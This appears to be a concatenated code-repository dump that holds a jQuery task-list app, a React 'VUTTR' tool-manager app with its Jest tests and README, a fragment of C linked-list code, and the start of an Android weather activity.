= p2->next; } head = head->next; } p2->next = NULL; p1->next = d2.next; return d1.next; }
147c56fabadb2ddcacc591da95e1c0fdda238549
[ "Markdown", "C" ]
52
C
hanwaer/leetcode_in_C
9d3ef650b11627583fbd6cc4ac22ce5b475b7820
7bff565cd8a62a56684db94f1c690a46dcaf5172
refs/heads/master
<file_sep>"use strict"; var taskList; $(function () { if (window.location.hash.length > 16) { TaskList.load(window.location.hash.substring(1), function (tl) { taskList = tl; $('#taskList').html(taskList.render()); }); } else { taskList = new TaskList(); taskList.createTask(''); $('#taskList').html(taskList.render()); } $("#createTask").click(function (event) { event.preventDefault(); var task = taskList.createTask(""); $("#taskList ul").append(task.render()); }); $("#taskList").on("change", ":checkbox", function () { if ($(this).is(":checked")) { $(this) .closest('li') .slideUp("fast", function () { $(this) .addClass("finished") .appendTo("#taskList ul"); }) .slideDown(); } else { $(this) .closest('li') .slideUp("fast", function () { $(this) .removeClass("finished") .prependTo("#taskList ul"); }) .slideDown(); } }); $('#saveTasks').click(function (event) { taskList.save(); }); $('#openList').click(function (event) { var listId = prompt("Bitte geben Sie die Tasklisten ID an", "demo"); if (listId != null) { TaskList.load(listId, function (taskList) { $('#taskList').html(taskList.render()); }); } }); $('#newList').click(function (event) { taskList = new TaskList(); taskList.createTask(''); $('#taskList').html(taskList.render()); }); });<file_sep>"use strict"; function Task(title) { this.done = false; this.title = title || ""; } Task.prototype.render = function () { var done = this.done; var title = this.title; var templateStringMarkup = ` <label> <input name="done" type="checkbox" ${done ? 'checked' : ''} > <span></span> </label> <div class="input-field inline"> <input name="title" type="text" placeholder="new task" value="${title}" > </div> `; var task = $('<li>').append(templateStringMarkup); task.data('task', this); task.find('input').change(function (event) { var taskObject = $(this).closest('li').data("task"); taskObject.done = $(this).is(":checked"); taskObject.title = $(this).val(); }); return task; };<file_sep>"use strict"; function TaskList(title) { this.id = title; this.tasks = []; this.title = title || ""; } TaskList.prototype.size = function () { return this.tasks.length; }; TaskList.prototype.createTask = function (title) { var task = new Task(title); this.tasks.push(task); return task; }; TaskList.prototype.render = function () { var $tasks = []; $.each(this.tasks, function (index, task) { $tasks.push(task.render()); }); return $('<ul>').append($tasks); }; TaskList.prototype.toJSON = function () { var jsonString = { id: this.id, title: this.title, tasks: [] }; var i; for (i = 0; i < this.tasks.length; i += 1) { jsonString.tasks.push({ title: this.tasks[i].title, done: this.tasks[i].done }); } return JSON.stringify(jsonString); }; /* * persists the tasklist to the server. * * for tasklists without id (not yet persisted) the id * is written back to the model after it is received from * the server. */ TaskList.prototype.save = function () { var that = this; var url = 'http://zhaw.herokuapp.com/task_lists/'; if (this.id) { url += this.id; } $.post(url, this.toJSON(), function (returnedData) { that.id = JSON.parse(returnedData).id; window.location.hash = that.id; }); }; // TaskList.prototype.shuffle = function () { // var tasksArray = this.tasks; // var i; // for (i = 0; i < this.tasks.length; i += 1) { // var checked = tasksArray[i].done; // if (checked) { // // tasksArray[i].appendTo("#taskList ul") // } // } // }; /* * Loads the given tasklist from the server. */ TaskList.load = function (id, callback) { var taskList = new TaskList(); $.getJSON('http://zhaw.herokuapp.com/task_lists/' + id, function (returnedData) { taskList.id = returnedData.id; $.each(returnedData.tasks, function (index, task) { var t = taskList.createTask(task.title); t.done = task.done; }); taskList.title = returnedData.title; callback(taskList); // taskList.shuffle(); }); };<file_sep>"use strict"; function Task(title) { this.done = false; this.title = title || ""; } Task.prototype.render = function () { var $markup; var $done = $('<input>', { name: 'done', type: 'checkbox', checked: this.done }); var $label = $('<label>').append([$done, '<span>']); var $title = $('<input>', { name: 'title', type: 'text', placeholder: "new task" }).val(this.title); var $textInputWrapper = $('<div>', { 'class': 'input-field inline' }).append($title); $markup = $('<li>').append([$label, $textInputWrapper]); // TODO: connect object instance to data attribute 'task' $markup.data('task', this); // TODO: react on change of the checkbox and the input field: // - populate done field from checkbox // - populate title field from input text field // - write new value using console.log $markup.find('input').change(function (event) { var taskObject = $(this).closest('li').data("task"); taskObject.done = $done.is(":checked"); taskObject.title = $title.val(); console.log(taskObject); }); return $markup; };
fe7d94cc2e2bd563c18656fe7a69a5752054a3f4
[ "JavaScript" ]
4
JavaScript
puck3000/Web2Projekt
59de89b30d15bb349a5d6cb7b67f576120ae0e18
62540955f29cae372b6893de5ab9540afb9fb471
refs/heads/master
<repo_name>dsyne/whichMultiples<file_sep>/src/js/modules/Block.js import { multipleLimit } from '../config/config' import { createNode, toggleClass, hasClass, removeClass, addClass } from '../helpers/helpers' const activeClass = 'active' const highlightClass = 'highlight' export default class Block { constructor(currentNumber, numbersArray) { this.state = { lastClicked: '', num: currentNumber, fullNumArray: numbersArray, filteredNumArray: '', } } setState(key, val) { return this.state = { ...this.state, [key]: val, } } resetClickState() { /* When a item is clicked this.state.num changes for each multiple found, so reset to last clicked num */ this.setState('num', this.state.lastClicked) } get(num) { this.setState('num', num) return document.querySelector(`[data-id="${this.state.num}"]`) } create(num) { this.setState('num', num) const item = createNode( `<li class="numbers__item" data-id="${this.state.num}">${this.state.num}</li>` ) item.addEventListener('click', event => this.clickHandler(event.target.dataset.id)) return item } clickHandler(event) { const item = this.get(this.state.num) this.setState('lastClicked', event) if(hasClass(item, activeClass)) { removeClass(item, activeClass) this.clearHighlights() } else { this.clearActive() addClass(item, activeClass) this.clearHighlights() .then(() => this.highlightMultiples()) } } calculateMultiples(num) { return new Promise((resolve, reject) => { // Numbers over multipleLimit have no multiples if(num <= multipleLimit) { const filtered = this.state.fullNumArray.filter(item => item % num === 0) this.setState('filteredNumArray', filtered) resolve(filtered) } else { reject(new Error(`The number ${num} has no multiples! Please try a lower number`)) } }) } highlightMultiples() { this.calculateMultiples(this.state.num) .then(filtered => filtered.forEach(item => { this.setState('num', item) this.toggleHighlight(this.state.num) this.resetClickState() }) ) .catch(console.log) } toggleHighlight(num) { toggleClass(this.get(num), highlightClass) } clearHighlights() { return new Promise((resolve, reject) => { const items = [...document.querySelectorAll(`.${highlightClass}`)] if(items) { items.forEach(item => this.toggleHighlight(item.dataset.id)) this.resetClickState() resolve() } else { reject(new Error('No highlighted items')) } }) } clearActive() { const items = [...document.querySelectorAll(`.${activeClass}`)] if(items) { items.forEach(item => removeClass(item, activeClass)) } } }<file_sep>/webpack.config.babel.js import path from 'path' import webpack from 'webpack' import BrowserSyncPlugin from 'browser-sync-webpack-plugin' export default { target: 'web', entry: './src/js/script.js', output: { path: path.join(process.cwd(), '/dist'), filename: 'script.js', }, resolve: { extensions: ['.js', '.scss'], }, plugins: [ new BrowserSyncPlugin({ server: './', files: [ './src/**/*.{js,scss}', ], host: 'localhost', port: 7000, open: true, reloadOnRestart: true, }), ], module: { loaders: [ { test: /\.js$/, loader: 'babel-loader', }, { test: /\.scss$/, loader: ['style-loader', 'css-loader', 'sass-loader'], } ], }, } <file_sep>/src/js/modules/Block.spec.js import chai from 'chai' import spies from 'chai-spies' import { createNode, toggleClass, hasClass, removeClass, addClass } from '../helpers/helpers' import Block from './Block' const expect = chai.expect chai.use(spies) describe('Block Class', () => { const numbers = [1, 2, 3, 4, 5, 6] const block = new Block(1, numbers) describe('setState()', () => { it('Should update state with passed key value pair', () => { const testKey = 'aTest' block.setState(testKey, []) expect(block.state).to.include.keys(testKey) expect(block.state[testKey]).to.be.instanceof(Array) }) }) describe('resetClickState()', () => { it('Should call setState() and set block.state.num to value of block.state.lastClicked', () => { block.resetClickState() expect(block.state.num).to.be.empty }) }) describe('get()', () => { it('Should call setState to update block.state.num', () => { block.get(2) expect(block.state.num).to.equal(2) }) }) describe('create()', () => { it('Should call setState to update block.state.num to passed value', () => { block.create(1) expect(block.state.num).to.equal(1) }) it('Should call createNode()', () => { const spyCreate = chai.spy(createNode) block.create(2) expect(spyCreate).to.have.been.called }) it('Should return a DOM node', () => { const item = block.create(1) expect(item instanceof HTMLElement).to.be.true }) }) }) <file_sep>/README.md # whichMultiples ### Install `npm i` ### Start Server `npm start` ### Tests `npm test` ### Info - Front end [http://localhost:7000](http://localhost:7000) - Node version 7.7.2<file_sep>/src/js/modules/Game.js import { blockCount } from '../config/config' import { createNode } from '../helpers/helpers' import Block from './Block' export default class Game { constructor() { this.d = document this.blockCount = blockCount this.numbersArray = this.generateNumbersArray() this.container = this.d.createDocumentFragment() } init() { this.insertBlocks() } generateNumbersArray() { /* Creates an array of N length and fills with range 0..N then shifts by one */ return [...Array(this.blockCount)].map((v, i) => ++i) } buildBlocks() { return new Promise((resolve, reject) => { if(this.numbersArray) { this.numbersArray.forEach(num => { const item = new Block(num, this.numbersArray) this.container.appendChild(item.create(num)) }) resolve() } else { reject(new Error('Error with numbersArray')) } }) } insertBlocks() { this.buildBlocks() .then(() => this.d.querySelector('.numbers__list').appendChild(this.container) ) .catch(console.log) } }
2679621569c916a1e737f06002d0d7a5cd39a0c1
[ "JavaScript", "Markdown" ]
5
JavaScript
dsyne/whichMultiples
3f0142006b0e6bfe100c3f9aa7f9a15cbbd3a416
975a9bf0be2b252b4f1533e5ee00538d409ae624
refs/heads/master
<repo_name>Zanluca/challenge-bossabox<file_sep>/src/components/Modal/ModalAddTool.js import React, {useState, useEffect} from 'react' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { ModalContainer, ModalTitle, ModalBody, ModalFooter, LabelInput} from './style' import {Button} from '../Button' import {InputText, InputTextLarge} from '../InputText' import BaseModal from './BaseModal' import close from '../../assets/Close.svg' const defaultTool = { description : '', link : '', tags: [], title : '', } function ModalAddTool(props) { const [tool, setTool] = useState(defaultTool) const [tagsStr, setTagsStr] = useState('') useEffect(() => { setTool(defaultTool) setTagsStr('') }, [props.show]) function handleClose() { setTool(defaultTool) setTagsStr('') props.close() } function handleTitleType(e) { setTool({ ...tool, title : e.target.value }) } function handleLinkType(e) { setTool({ ...tool, link : e.target.value }) } function handleDescriptionType(e) { setTool({ ...tool, description : e.target.value }) } function handleTagsType(e) { const tags = e.target.value.split(' ') setTagsStr(e.target.value) setTool({ ...tool, tags }) } return ( <BaseModal testeID='modal-add' onClose={props.close} show={props.show}> <ModalContainer> <ModalTitle> <span><FontAwesomeIcon icon='plus'/> Add new tool</span> <img src={close} alt='close' onClick={handleClose} /> </ModalTitle> <ModalBody> <LabelInput>Tool Name</LabelInput> <InputText aria-label='tool-name' value={tool.title} onChange={handleTitleType}/> <LabelInput>Tool Link</LabelInput> <InputText aria-label='tool-link' value={tool.link} onChange={handleLinkType}/> <LabelInput>Tool Description</LabelInput> <InputTextLarge aria-label='tool-description' rows="6" cols="54" value={tool.description} onChange={handleDescriptionType}/> <LabelInput>Tool Tags</LabelInput> <InputText aria-label='tool-tags' value={tagsStr} onChange={handleTagsType}/> </ModalBody> <ModalFooter> <Button aria-label='button-add-tool' primary neutral onClick={() => props.addTool(tool)}>Add tool</Button> </ModalFooter> </ModalContainer> </BaseModal> ) } export default ModalAddTool<file_sep>/src/components/App/style.js import styled, {createGlobalStyle} from "styled-components"; const Container = styled.div` margin-top: 5em; display: flex; flex-direction: column; align-items: center; justify-content : center; flex-wrap: wrap; ` const AppContent = styled.div` h1 { font-size: 4em; } h2 { font-size: 3.17em; } input[type=checkbox] { position: absolute; opacity: 0; } input[type=checkbox] + label { position: relative; cursor: pointer; padding: 0; } input[type=checkbox] + label::before { content: ''; margin-right: 5px; display: inline-block; vertical-align: middle; width: 15px; height: 15px; background: #F5F4F6; border: 1px solid #DEDCE1; } input[type=checkbox]:checked + label::before { background: #365DF0; border: 1px solid #365DF0; } input[type=checkbox]:checked + label::after { content: ''; position: absolute; background: white; transform: rotate(45deg); left: 3px; top: 10px; width: 2px; height: 2px; box-shadow: 2px 0 0 white, 4px 0 0 white, 4px -2px 0 white, 4px -4px 0 white, 4px -6px 0 white, 4px -8px 0 white; } ` const Grid = styled.div` margin-top : 60px; display: grid; grid-template-columns: 2.3fr 1fr 0fr; grid-gap : 10px; span{ margin-top: 15px; } ` const GlobalStyle = createGlobalStyle` * { margin: 0; padding: 0; outline: 0; box-sizing: border-box; } html, body, #root { height: 100%; } body, input, button { font-family: 'Source Sans Pro', Semibold; } ` export { Container, AppContent, GlobalStyle, Grid }<file_sep>/src/components/Card/style.js import styled from "styled-components"; const CardContainer = styled.div` background-color: #FFFFFF; border: 1px solid #EBEAED; padding: 16px; box-shadow: 0 10px 10px rgba(0, 0, 0, .05); text-align: left; outline: 1px solid #ddd; width : 100%; max-width: 950px; margin-bottom: 1.5em; *{ font-size : 18px; } a{ font-size : 22px; } ` const CardTitleContainer = styled.div` margin-bottom : 1em; display: grid; grid-template-columns: 10fr 1fr; ` const CardBody = styled.div` margin-bottom: 2.5em; ` const CardFooter = styled.div` font-weight: bold; margin-bottom: 1em; mark { padding: 0; background-color: #ffd703; } ` export { CardContainer, CardTitleContainer, CardBody, CardFooter }<file_sep>/src/__test__/ModalRemove.test.js import React from 'react'; import ReactDOM from 'react-dom'; import ModalRemove from '../components/Modal/ModalRemove' import { cleanup } from "@testing-library/react"; afterEach(cleanup); test('renders without crashing ModalRemove', () => { const div = document.createElement('div'); ReactDOM.render(<ModalRemove />, div); ReactDOM.unmountComponentAtNode(div); });<file_sep>/src/components/App/App.js import React, { useState, useEffect, Fragment } from 'react' import { library } from '@fortawesome/fontawesome-svg-core' import { fab } from '@fortawesome/free-brands-svg-icons' import { faPlus, faTimes } from '@fortawesome/free-solid-svg-icons' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { getTool, addTool, deleteTool } from '../../service/serviceTools' import useDebounce from '../../utils/use-debounce' import { Container, AppContent, GlobalStyle, Grid } from './style' import { Button } from '../Button/' import { InputText } from '../InputText' import CardList from '../../components/CardList' import ModalRemove from '../../components/Modal/ModalRemove' import ModalAddTool from '../../components/Modal/ModalAddTool' library.add(fab, faPlus, faTimes) function App() { const [listTools, setListTools] = useState([]) const [showRemove, setShowRemove] = useState(false) const [showAdd, setShowAdd] = useState(false) const [selectedTool, setSelectedTool] = useState(null) const [searchString, setSearchString] = useState('') const [isSearchOnlyTags, setIsSearchOnlyTags] = useState(false) const debounceSearchTerm = useDebounce(searchString, 500) /** * Responsável por fazer a busca da lista de ferramentas quando a página é carregada. */ useEffect(() => { async function getData() { const tools = await getTool() if (tools) setListTools(tools) } getData() }, []) /** * Responsável por fazer a busca da lista de ferramentas filtrada somente pelo texto ou pelas tags. */ useEffect(() => { async function getData() { let tools if ((isSearchOnlyTags) && (debounceSearchTerm.trim() !== '')) tools = await getTool( {queryTag : debounceSearchTerm} ) else if (debounceSearchTerm.trim() !== '') tools = await getTool( {queryString : debounceSearchTerm} ) else tools = await getTool() if (tools) setListTools(tools) } getData() }, [debounceSearchTerm, isSearchOnlyTags]) function handleShowRemove(tool) { setShowRemove(true) setSelectedTool(tool) } function handleCloseRemove() { setShowRemove(false) setSelectedTool(null) } async function handleRemoveTool() { setShowRemove(false) const deletedOK = await deleteTool(selectedTool.id) setSelectedTool(null) if (deletedOK) setListTools(listTools.filter(tool => tool.id !== selectedTool.id)) } async function handleAddTool(tool) { const data = await addTool(tool) setShowAdd(false) if (data) setListTools([...listTools, data]) } function handleCloseAddTool() { setShowAdd(false) } function handleShowAddTool() { setShowAdd(true) } return ( <Fragment> <GlobalStyle /> <Container> <AppContent> <h1 data-testid='title'>VUTTR</h1> <h3>Very Useful Tools to Remember</h3> <Grid> <InputText value={searchString} type='text' placeholder='&#xF002; search' onChange={e => setSearchString(e.target.value)} /> <span> <input id='search-by-tag' type='checkbox' defaultChecked={isSearchOnlyTags} onChange={e => setIsSearchOnlyTags(e.target.checked)} /> <label htmlFor='search-by-tag'>search in tags only</label> </span> <Button data-testid='button-add' primary neutral onClick={handleShowAddTool}><FontAwesomeIcon icon='plus' /> Add</Button> </Grid> <CardList tools={listTools} handleShowRemove={handleShowRemove} highlight = {debounceSearchTerm} /> </AppContent> {selectedTool && <ModalRemove show={showRemove} close={handleCloseRemove} name={selectedTool.title} remove={handleRemoveTool} /> } <ModalAddTool show={showAdd} addTool={handleAddTool} close={handleCloseAddTool} /> </Container> </Fragment> ); } export default App; <file_sep>/src/components/CardList/index.js import React from 'react' import List from './style' import Card from '../Card' function CardList({ tools = [], handleShowRemove = () => {}, highlight = '' }) { return ( <List data-testid='card-list'> {tools.map((tool) => ( <Card data-testid='card' key={tool.id} tool={tool} showRemove={handleShowRemove} highlight={highlight} /> ))} </List> ) } export default CardList<file_sep>/src/__test__/Input.test.js import React from 'react'; import ReactDOM from 'react-dom'; import { InputText } from '../components/InputText' import { cleanup } from "@testing-library/react"; afterEach(cleanup); test('renders without crashing InputText', () => { const div = document.createElement('div'); ReactDOM.render(<InputText />, div); ReactDOM.unmountComponentAtNode(div); });<file_sep>/src/service/serviceTools.js import axios from 'axios' const API_PATH = 'http://localhost:3000/' const getTool = async ({ queryString = '', queryTag = '' } = {}) => { let query = '' if (queryString) query = `?q=${queryString}` else if (queryTag) query = `?tags_like=${queryTag}` try { const response = await axios.get(API_PATH + `tools${query}`) if (response.status === 200) return response.data else { return undefined } } catch (error) { return undefined } } const addTool = async (tool) =>{ try{ const response = await axios.post(API_PATH + 'tools', tool , { headers : { 'Content-Type': 'application/json' } }) if (response.status === 201) { return response.data } else { return undefined } } catch(error) { return undefined } } const deleteTool = async (toolID) => { try { const response = await axios.delete(API_PATH + `tools/${toolID}`) if (response.status === 200) return true else { return undefined } } catch(error) { return undefined } } export { getTool, addTool, deleteTool } <file_sep>/README.md # VUTTR (Very Useful Tools to Remember) > Desafio front-end BossaBox. O desafio consistia em implementar um VUTTR (Very Useful Tools to Remember). Para isso deveria seguir as seguintes instruções: [https://www.notion.so/Dev-Front-End-7e048c1d54274a15b26e50f2a4d52d6c](https://www.notion.so/Dev-Front-End-7e048c1d54274a15b26e50f2a4d52d6c) ## Instalação Para instalar o projeto use uma das opções ```sh npm install ``` ou ```sh yarn ``` ## Exemplo de uso Para utilizar a aplicação precisa-se da seguinte [API](https://gitlab.com/bossabox/challenge-fake-api/tree/master) ela é o back-end da aplicação Para iniciar use um dos comandos: ```sh npm start ``` ou ```sh yarn start ``` A aplicação deve rodar numa porta diferente da 3000 pois essa já é utilizada pela API. Ao rodar um dos comandos acima ele irá sugerir um porta disponível. Para executar os testes basta rodar um dos comandos: ```sh npm test ``` ou ```sh yarn test ``` <file_sep>/src/components/InputText/index.js import styled from "styled-components"; export const InputText = styled.input` width: 100%; height: 50px; background: #F5F4F6; border: 1px solid #EBEAED; border-radius: 5px; opacity: 1; text-align: left; font: 20px/26px Source Sans Pro, FontAwesome ; letter-spacing: 0.4px; font-size: 20px; padding: 13px 22.1px 12px; color: #170C3A; margin-right : 0.5em; ::placeholder { color: #B1ADB9; } :focus { background: #EBEAED; border: 1px solid #DEDCE1; letter-spacing: 0; } :focus::placeholder { color: #8F8A9B; } ` export const InputTextLarge = styled.textarea` resize : none; width: 100%; background: #F5F4F6; border: 1px solid #EBEAED; border-radius: 5px; opacity: 1; text-align: left; font: 20px/26px Source Sans Pro, FontAwesome ; letter-spacing: 0.4px; font-size: 20px; padding: 12.48px 22.1px; color: #170C3A; margin-right : 0.5em; ::placeholder { color: #B1ADB9; } :focus { background: #EBEAED; border: 1px solid #DEDCE1; letter-spacing: 0; } :focus::placeholder { color: #8F8A9B; } `<file_sep>/src/__mocks__/axios.js export default { get: jest.fn().mockResolvedValue({ data: {}, }), post : jest.fn().mockResolvedValue({ status : 201, data: {} }), delete : jest.fn().mockResolvedValue({ status : 200, data : {} }) };<file_sep>/src/components/Modal/style.js import styled from "styled-components" const ModaBackground = styled.div` position: fixed; top : 0; left: 0; bottom: 0; right: 0; display: ${props => props.show ? 'flex' : 'none'}; flex-direction: column; justify-content: center; align-items: center; background: rgba(0,0,0, 0.8); overflow : hidden; ` const ModalContainer = styled.div` width: 600px; /* height: 332px; */ background: #FFFFFF; box-shadow: 0px 20px 25px #000000; border-radius: 5px; padding: 30px 30.5px; ` const ModalTitle = styled.div` display: grid; grid-template-columns: 16fr 0fr; span { font-size : 1.5em; } img { cursor: pointer; } ` const ModalBody = styled.div` text-align: left; font: 20px/26px Source Sans Pro; letter-spacing: 0.4px; color: #8F8A9B; opacity: 1; margin-top: 30px ` const ModalFooter = styled.div` display: flex; flex-direction: row-reverse; margin-top: 30px; button{ margin-left : 1em } ` const LabelInput = styled.label` display: block; margin-top: 20px; margin-bottom: 10px; ` export { ModaBackground, ModalContainer, ModalTitle, ModalBody, ModalFooter, LabelInput }<file_sep>/src/__test__/App.test.js import React from 'react'; import ReactDOM from 'react-dom'; import '@testing-library/jest-dom/extend-expect' import { render, fireEvent, cleanup, within, waitForElement, } from "@testing-library/react"; import App from '../components/App/App'; import axiosMock from 'axios' import result from './data/sample-data.json' import { act } from 'react-dom/test-utils'; afterEach(cleanup); test('renders without crashing App', () => { const div = document.createElement('div'); ReactDOM.render(<App />, div); ReactDOM.unmountComponentAtNode(div); }); test('fetches and display data (cards)', async () => { axiosMock.get.mockResolvedValueOnce({ status: 200, data: result, }) await act(async () => { const { getByTestId } = render(<App />) const cardList = getByTestId('card-list') const cards = await waitForElement(() => within(cardList).getAllByTestId('card') ) expect(cards.length).toBe(6) }) }) test('add new tool', async () => { axiosMock.get.mockResolvedValueOnce({ status: 200, data: result, }) const newTool = { description: 'Promise based HTTP client for the browser and node.js', link: 'https://github.com/axios/axios', tags: ['node', 'http', 'promisse'], title: 'axios', id: 9999 } axiosMock.post.mockResolvedValueOnce({ status: 201, data: newTool }) await act(async () => { const { getByTestId } = render(<App />) const btnAddNewTool = getByTestId('button-add') fireEvent.click(btnAddNewTool) const modalAdd = await waitForElement(() => getByTestId('modal-add')) expect(modalAdd).toHaveStyle('display : flex') const inputName = within(modalAdd).getByLabelText('tool-name') fireEvent.change(inputName, { target: { value: newTool.title } }) const inputLink = within(modalAdd).getByLabelText('tool-link') fireEvent.change(inputLink, { target: { value: newTool.link } }) const inputDescription = within(modalAdd).getByLabelText('tool-description') fireEvent.change(inputDescription, { target: { value: newTool.description } }) const inputTags = within(modalAdd).getByLabelText('tool-tags') const tagsStr = newTool.tags.reduce(((tags, tag) => `${tags} ${tag}`)) fireEvent.change(inputTags, { target: { value: tagsStr } }) const btnAddTool = within(modalAdd).getByLabelText('button-add-tool') fireEvent.click(btnAddTool) const cardList = await waitForElement(() => getByTestId('card-list')) const cards = await waitForElement(() => within(cardList).getAllByLabelText('tool-name') ) const allNames = cards.map(name => name.textContent) expect(allNames).toContain(newTool.title) }) }) test('remove tool', async () => { axiosMock.get.mockResolvedValueOnce({ status: 200, data: result, }) await act(async () => { const { getByTestId } = render(<App />) const cardList = getByTestId('card-list') const cards = await waitForElement(() => within(cardList).getAllByTestId('card') ) const nameTool = within(cards[0]).getByLabelText('tool-name') const removeButton = within(cards[0]).getByLabelText('button-remove') fireEvent.click(removeButton) const modalRemove = await waitForElement(() => getByTestId('modal-remove') ) expect(modalRemove).toHaveStyle('display : flex') const btnRemove = within(modalRemove).getByLabelText('button-yes-remove') fireEvent.click(btnRemove) const modalRemoveAfterRemove = await waitForElement(() => getByTestId('modal-remove') ) expect(modalRemoveAfterRemove).toHaveStyle('display : none') const cardListNew = await waitForElement(() => getByTestId('card-list') ) const cardsNames = await waitForElement(() => within(cardListNew).getAllByLabelText('tool-name') ) const allNames = cardsNames.map(name => name.textContent) expect(allNames).not.toContain(nameTool.textContent) }) }) test('cancel remove tool ', async () => { axiosMock.get.mockResolvedValueOnce({ status: 200, data: result, }) await act(async () => { const { getByTestId, queryByText } = render(<App />) const cardList = getByTestId('card-list') const cards = await waitForElement(() => within(cardList).getAllByTestId('card') ) const cardsNames = await waitForElement(() => within(cardList).getAllByLabelText('tool-name') ) const allNames = cardsNames.map(name => name.textContent) const removeButton = within(cards[0]).getByLabelText('button-remove') fireEvent.click(removeButton) const modalRemove = await waitForElement(() => getByTestId('modal-remove') ) expect(modalRemove).toHaveStyle('display : flex') const btnCancelRemove = within(modalRemove).getByLabelText('button-cancel-remove') fireEvent.click(btnCancelRemove) expect(queryByText('Remove tool')).not.toBeInTheDocument() const cardListNew = await waitForElement(() => getByTestId('card-list') ) const cardsNamesNew = await waitForElement(() => within(cardListNew).getAllByLabelText('tool-name') ) const allNamesNew = cardsNamesNew.map(name => name.textContent) expect(allNames).toEqual(allNamesNew) }) })<file_sep>/src/components/Button/index.js import styled from "styled-components"; const Button = styled.button` display: inline-block; border-radius: 5px; padding: ${props => ((props.primary) || (props.secondary)) ? '14px 26px 13px 26px' : '0'}; height: ${ props => { if ((props.primary) || (props.secondary)) return '50px' else if (props.terciary) return '35px' else return '0' } }; ${props => (!props.quartiary ? 'width: 174px' : '')} ; font-size: 18px; border: 1px solid transparent; cursor: pointer; background-color: ${ props => { if (props.primary) { if (props.danger) return '#F95E5A' else if (props.success) return '#0DCB7D' else if (props.neutral) return '#365DF0' else return 'transparent' } else if ((props.secondary) || (props.terciary)) { if (props.danger) return '#FEEFEE' else if (props.success) return '#E7FBF3' else if (props.neutral) return '#E1E7FD' else return 'transparent' } else return 'transparent' } }; color: ${ props => { if (props.primary) { return 'white' } else if ((props.secondary) || (props.terciary) || (props.quartiary)) { if (props.danger) return '#F95E5A' else if (props.success) return '#12DB89' else if (props.neutral) return '#365DF0' else return 'black' } else return 'black' } }; :hover { background-color : ${ props => { if (props.primary) { if (props.danger) return '#CC4C4C' else if (props.success) return '#10B26C' else if (props.neutral) return '#2F55CC' else return 'transparent' } else if ((props.secondary) || (props.terciary)) { if (props.danger) return '#FCD7D6' else if (props.success) return '#CFF9E6' else if (props.neutral) return '#CAD6FC' else return 'transparent' } else return 'transparent' } } } :active { background-color : ${ props => { if (props.primary) { if (props.danger) return '#A53F3F' else if (props.success) return '#0E995D' else if (props.neutral) return '#244AA8' else return 'transparent' } else if ((props.secondary) || (props.terciary)) { if (props.danger) return '#FCC6C5' else if (props.success) return '#B7F7D8' else if (props.neutral) return '#B9C6FA' else return 'transparent' } else return 'transparent' } }; } :disabled { ${ props => { if (props.primary) { if (props.danger) return 'background: #FCAEAC; ' + 'color : #FEEFEE;' else if (props.success) return 'background: #88EDC4; ' + 'color : #E7FBF3;' else if (props.neutral) return 'background: #B9C6FA; ' + 'color : #E1E7FD;' else return 'transparent' } else if ((props.secondary) || (props.terciary)) { if (props.danger) return (props.quartiary ? 'background: #FEEFEE; ' : '') + 'color : #FCAEAC;' else if (props.success) return (props.quartiary ? 'background: #E7FBF3; ' : '') + 'color : #88EDC4;' else if (props.neutral) return (props.quartiary ? 'background: #E1E7FD; ' : '') + 'color : #B9C6FA;' else return 'transparent' } else return 'transparent' } }; } ` export { Button }<file_sep>/src/components/Modal/BaseModal.js import React, {useRef, useEffect } from 'react' import { ModaBackground } from './style' function BaseModal({ onClose = () => { }, show = false, children = undefined, testeID = '' }) { const refBackground = useRef(null) useEffect(() => { const body = document.body if (show) { body.style.height = '100vh'; body.style.overflowY = 'hidden'; } else { body.style.overflowY = 'auto'; } return () => { const body = document.body body.style.overflowY = 'auto'; }; }, [show]) function handleBackgroungClick(e) { if (e.target === refBackground.current) { onClose() } } return ( <ModaBackground data-testid={testeID} ref={refBackground} onClick={(e) => handleBackgroungClick(e)} show={show}> {children} </ModaBackground> ) } export default BaseModal<file_sep>/src/components/Card/index.js import React from 'react' import { CardContainer, CardTitleContainer, CardBody, CardFooter} from './style' import {Button} from '../Button/' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' const defaultTool = { description : '', link : '', tags: [], title : '', } function Card({ tool = defaultTool, showRemove = () => {}, highlight = '' }) { /** *Destaca a tag que corresponte exatamento com o termo que está sendo buscado. */ function highlightTag(tag, key) { if (tag === highlight) return <span key={key}><mark>#{tag}</mark> </span> else return <span key={key}>#{tag} </span> } return ( <CardContainer data-testid='card'> <CardTitleContainer> <span aria-label='tool-name'><a href={tool.link}>{tool.title}</a></span> <span><Button aria-label='button-remove' quartiary danger onClick={() => showRemove(tool)}><FontAwesomeIcon icon = 'times'/> remove</Button></span> </CardTitleContainer> <CardBody aria-label='tool-description'> {tool.description} </CardBody> <CardFooter aria-label='tool-tags'> {tool.tags.map((tag, index) => highlightTag(tag, index))} </CardFooter> </CardContainer> ) } export default Card
befc85bf18bddcb79912cc0220867e458954bed2
[ "JavaScript", "Markdown" ]
16
JavaScript
Zanluca/challenge-bossabox
80643691e0aec22f50d0898853ce3d280abdc241
6065b797988fdf064589865b8c37009d98b6d881
refs/heads/master
<repo_name>yinhuamin/coolweather<file_sep>/src/com/example/coolweather/WeatherActivity.java package com.example.coolweather; import com.coolweather.app.service.AutoUpdateService; import com.coolweather.app.util.HttpCallbackListener; import com.coolweather.app.util.HttpUtil; import com.coolweather.app.util.Utility; import android.os.Bundle; import android.preference.PreferenceManager; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.text.TextUtils; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.LinearLayout; import android.widget.TextView; public class WeatherActivity extends Activity implements OnClickListener{ private LinearLayout weatherInfoLayout; private TextView cityNameText; private TextView publishText; private TextView weatherDespText; private TextView temp1Text; private TextView temp2Text; private TextView currentDateText; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.weather_layout); weatherInfoLayout=(LinearLayout) findViewById(R.id.weather_info_layout); cityNameText=(TextView) findViewById(R.id.city_name); publishText=(TextView) findViewById(R.id.publish_text); weatherDespText=(TextView) findViewById(R.id.weather_desp); temp1Text=(TextView) findViewById(R.id.temp1); temp2Text=(TextView) findViewById(R.id.temp2); currentDateText=(TextView) findViewById(R.id.current_date); String countryCode=getIntent().getStringExtra("country_code"); if(!TextUtils.isEmpty(countryCode)) { publishText.setText("同步中"); weatherInfoLayout.setVisibility(View.INVISIBLE); cityNameText.setVisibility(View.INVISIBLE); queryWeatherCode(countryCode); } else { 